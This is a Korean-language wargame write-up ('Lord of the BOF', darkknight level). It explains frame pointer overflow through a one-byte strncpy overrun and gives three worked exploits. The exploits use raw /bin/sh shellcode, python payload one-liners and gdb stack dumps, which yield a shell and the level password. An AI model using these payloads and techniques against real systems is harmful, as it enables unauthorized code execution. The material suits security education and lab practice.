golem / cup of coffee
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
코드 상단에 FPO라고 힌트가 주어졌다. Frame Pointer Overflow 약자로 overflow를 이용해 Frame Pointer를 조작한다.
보면 buffer는 40bytes인데 41bytes를 src로부터 복사하도록 코드가 짜여있다.
gdb로 보면 buffer의 40bytes 밑에는 sfp(4bytes)와 retn(4btyes)가 존재한다. 따라서 41bytes를 복사하면서 sfp의 하위 1bytes를 수정하여 원하는 주소로 이동해야한다.
FPO를 위해선 함수의 에필로그 과정을 알아야한다.
함수를 호출할 때는 프롤로그 과정이 진행된다. 다음과 같은 순서로 이루어진다.
1. push ebp
2. mov ebp, esp
3. sub esp, N
함수를 종료할 때는 에필로그 과정이 진행된다.
1. leave
2. ret
leave 명령을 세부적으로 표현하면 다음과 같다.
1-1. mov esp, ebp
1-2. pop ebp
ret 명령을 세부적으로 표현하면 다음과 같다.
2-1. pop eip (assembly에서 pop eip는 실제로 없음. 개념적으로 표현할 때만 사용)
2-2. jmp eip
에필로그 과정을 주목해야한다. darkknight 코드에서 problem_child를 호출하고 종료할때 epilogue 과정이 진행되는데 우리는 sfp의 하위 1byte를 덮어썼기에 leave 명령어 실행 결과 ebp에는 우리가 조작한 sfp가 들어가게된다.
이어서 retn 명령어 실행 후 종료하며 main 함수로 돌아오는데 main 함수의 마지막 부분이기에 main 함수도 바로 에필로그 과정을 진행한다. leave 명령어를 실행하는데 ebp에는 이미 우리가 조작한 sfp가 들어가 있기에 mov esp, ebp 후에 esp에도 우리가 조작한 ebp가 들어가며 pop ebp 후엔 스택의 ebp 주소에 저장된 값이 ebp에 들어간다. pop을 했기에 esp는 4 증가하고 pop eip 후에 스택의 해당 주소(esp)에 저장된 값이 eip에 저장된다. 마침내 jmp eip로 eip값으로 점프해서 명령을 실행한다.
[golem@localhost golem]$ gdb DARKKNIGHT -q
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %esp,%ebp
0x8048443 <problem_child+3>: sub $0x28,%esp
0x8048446 <problem_child+6>: push $0x29
0x8048448 <problem_child+8>: mov 0x8(%ebp),%eax
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea 0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add $0xc,%esp
0x8048458 <problem_child+24>: lea 0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push $0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add $0x8,%esp
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
0x804846b <problem_child+43>: nop
End of assembler dump.
(gdb) b *problem_child+21
Breakpoint 1 at 0x8048455
(gdb) r `python -c 'print "A"*4+"B"*36+"C"'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "A"*4+"B"*36+"C"'`
Breakpoint 1, 0x8048455 in problem_child ()
(gdb) x/20x $esp
0xbffffa98: 0xbffffaa4 0xbffffc39 0x00000029 0x41414141
0xbffffaa8: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffab8: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffac8: 0x42424242 0xbffffa43 0x0804849e 0xbffffc39
0xbffffad8: 0xbffffaf8 0x400309cb 0x00000002 0xbffffb24
첫 번째 방식
우선 darkknight 실행파일을 복사하여 gdb를 실행했다. problem_child 함수 내부에서 strncpy 후에 break을 걸고 들여다 본다. 0x4141~부터가 buffer임을 알 수 있다. 그럼 쉘 코드를 buffer에 넣고 그 주소로 이동할 수 있다면 공격이 성공할 것이다. 0xbffffa94로 sfp를 조작하면 main 함수 에필로그 과정에서 mov esp, ebp 후에 pop ebp를 하면 ebp는 0xbffffa94가 될 것이고 esp는 0xbffffa98이 될 것이다. 이어서 ret 과정에서 pop eip, jmp eip 하면 eip에는 0xbffffa98에 저장된 0xbffffaa4가 들어가고 0xbffffaa4로 점프하여 쉘 코드를 실행할 수 있을 것이다. 참고로 0xbffffa98에 0xbffffaa4(buffer 주소)가 있는 이유는 strncpy 함수의 첫번째 인자가 buffer 주소이기 때문이다.
[golem@localhost golem]$ ./DARKKNIGHT `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x94"'`
1h//shh/bin⏓°
̀4@
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -c core -q
Core was generated by `./DARKKNIGHT 1h//shh/bin⏓°
̀'.
Program terminated with signal 11, Segmentation fault.
#0 0x804850c in ?? ()
(gdb) x/30x $esp-20
0xbffffa88: 0x400143e0 0xbffffaa4 0x40066070 0x40106980
0xbffffa98: 0x08048500 0xbffffab4 0x401081ec 0xbffffadc
0xbffffaa8: 0x08048466 0x08048500 0xbffffab4 0x90909090
0xbffffab8: 0x90909090 0x90909090 0x31909090 0x2f6850c0
0xbffffac8: 0x6868732f 0x6e69622f 0x5350e389 0xd231e189
0xbffffad8: 0x80cd0bb0 0xbffffa94 0x0804849e 0xbffffc34
0xbffffae8: 0xbffffb08 0x400309cb 0x00000002 0xbffffb34
core dumped가 발생했고 core 파일을 보니 0xbffffab4가 주소 0xbffffab0에 존재하고 있다. 그럼 4를 뺀 값인 0xbffffaac를 전달하자. 4를 빼는 것은 위에서 언급했듯이 pop 과정에서 esp 값이 4 증가하기 때문이다.
[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xac"'`
1h//shh/bin⏓°
̀¬4 @
bash$ my-pass
euid = 512
new attacker
두 번째 방식
buffer 내부에 쉘 코드를 넣고 쉘 코드의 주소를 buffer 시작 주소에 넣는다. 그리고 sfp를 버퍼 시작 주소로 설정한다.
(gdb) R `python -c 'print "aaaa"+"\x90"*11+"f"*25+"c"'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "aaaa"+"\x90"*11+"f"*25+"c"'`
Breakpoint 1, 0x804846f in main ()
(gdb) c
Continuing.
Breakpoint 4, 0x8048455 in problem_child ()
(gdb) x/50x $ebp-60
0xbffffa90: 0xbffffacc 0x08048455 0xbffffaa4 0xbffffc39
0xbffffaa0: 0x00000029 0x61616161 0x90909090 0x90909090
0xbffffab0: 0x66909090 0x66666666 0x66666666 0x66666666
0xbffffac0: 0x66666666 0x66666666 0x66666666 0xbffffa63
0xbffffad0: 0x0804849e 0xbffffc39 0xbffffaf8 0x400309cb
0xbffffae0: 0x00000002 0xbffffb24 0xbffffb30 0x40013868
buffer 시작 주소는 0xbffffaa4이고 쉘 코드의 주소는 \x90 주소중 하나인 0xbffffaa8로 설정한다. sfp의 하위 1 byte에는 \xa0이 들어가야 쉘 코드로 점프할 수 있다.
[golem@localhost golem]$ ./DARKKNIGHT `python -c 'print "\xa8\xfa\xff\xbf"+"\x90"*11+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xa0"'`
¨1h//shh/bin⏓°
̀ 4 @
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -c core -q
Core was generated by `./DARKKNIGHT ¨1h//shh/bin⏓°
̀ '.
Program terminated with signal 11, Segmentation fault.
#0 0xbffffadc in ?? ()
(gdb) x/30x $esp-40
0xbffffa80: 0xbffffadc 0x4005d920 0x400143e0 0xbffffaa4
0xbffffa90: 0x40066070 0x40106980 0x08048500 0xbffffab4
0xbffffaa0: 0x401081ec 0xbffffadc 0x08048466 0x08048500
0xbffffab0: 0xbffffab4 0xbffffaa8 0x90909090 0x90909090
0xbffffac0: 0x31909090 0x2f6850c0 0x6868732f 0x6e69622f
0xbffffad0: 0x5350e389 0xd231e189 0x80cd0bb0 0xbffffaa0
0xbffffae0: 0x0804849e 0xbffffc34 0xbffffb08 0x400309cb
core파일을 보니 buffer 주소가 0xbffffab4, 쉘 코드 주소는 0xbffffab8로 바뀌어 있다.
[golem@localhost golem]$ ./darkknight `python -c 'print "\xb8\xfa\xff\xbf"+"\x90"*11+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xb0"'`
¸1h//shh/bin⏓°
̀°4 @
bash$ my-pass
euid = 512
new attacker
세 번째 방식
이번엔 buffer 공간이 아닌 argv[1] 공간을 이용해본다.
argv[1]에 \x90+쉘 코드 조합을 포함하여 전달하고 \x90의 주소를 buffer에 시작 위치에 삽입한다.
그리고 buffer의 시작 주소로 sfp을 변경한다면 NOP Sled 방식으로 쉘 코드를 실행할 수 있을 것이다.
[golem@localhost golem]$ gdb DARKKNIGHT -q
(gdb) b main
Breakpoint 1 at 0x804846f
(gdb) r `python -c 'print "A"*40+"B"+"\x90"*100+"A"*25'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "A"*40+"B"+"\x90"*100+"A"*25'`
(gdb) b *problem_child+21
Breakpoint 2 at 0x8048455
(gdb) c
Continuing.
Breakpoint 2, 0x8048455 in problem_child ()
(gdb) x/30x $esp
0xbffffa28: 0xbffffa34 0xbffffbbc 0x00000029 0x41414141
0xbffffa38: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa48: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa58: 0x41414141 0xbffffa42 0x0804849e 0xbffffbbc
0xbffffa68: 0xbffffa88 0x400309cb 0x00000002 0xbffffab4
0xbffffa78: 0xbffffac0 0x40013868 0x00000002 0x08048390
0xbffffa88: 0x00000000 0x080483b1 0x0804846c 0x00000002
buffer의 시작 주소가 0xbffffa34임을 확인했다.
(gdb) b *main+50
Breakpoint 3 at 0x804849e
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB¼ÿ¿ @
Breakpoint 3, 0x804849e in main ()
(gdb) x/200x $ebp
0xbffffa42: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa52: 0x41414141 0x41414141 0xfa424141 0x849ebfff
0xbffffa62: 0xfbbc0804 0xfa88bfff 0x09cbbfff 0x00024003
(생략)
0xbffffbb2: 0x4b4b5241 0x4847494e 0x41410054 0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffbc2: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbd2: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbe2: 0x90424141 0x90909090 0x90909090 0x90909090
0xbffffbf2: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc02: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc12: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc22: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc32: 0x90909090 0x90909090 0x90909090 0x90909090
\x90들 주소 중 하나인 0xbffffc02를 골랐다.
[golem@localhost golem]$ ./darkknight `python -c 'print "\x02\xfc\xff\xbf"+"A"*36+"\x30"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0·ÿ¿ @
bash$ my-pass
euid = 512
new attacker
bash$
위처럼 payload를 전달하면 strncpy에 의해 buffer엔 0xbffffc02+"A"*36 형식으로 찰 것이고, sfp는 0xbffffa30이 된다. problem_child를 종료하고 main 함수의 에필로그 과정 중에 leave에서 mov esp, ebp & pop ebp가 실행된다. 이때 ebp는 0xbffffa30이기에 esp도 0xbffffa30이 된다. pop ebp에 의해 esp는 +4 되어 0xbffffa34가 될 것이고 이제 에필로그 과정의 마지막인 ret가 실행된다. ret 세부과정인 pop eip에서 0xbffffa34(현재 esp이자 buffer 주소)에 저장된 0xbffffc02가 eip에 저장되고 jmp eip에 의해 0xbffffc02로 이동하여 해당 주소에 저장된 명령을 실행한다. 마침내 NOP Sled가 발생하며 최종적으로 쉘 코드가 실행된다.
darkknight의 비밀번호는 new attacker이다.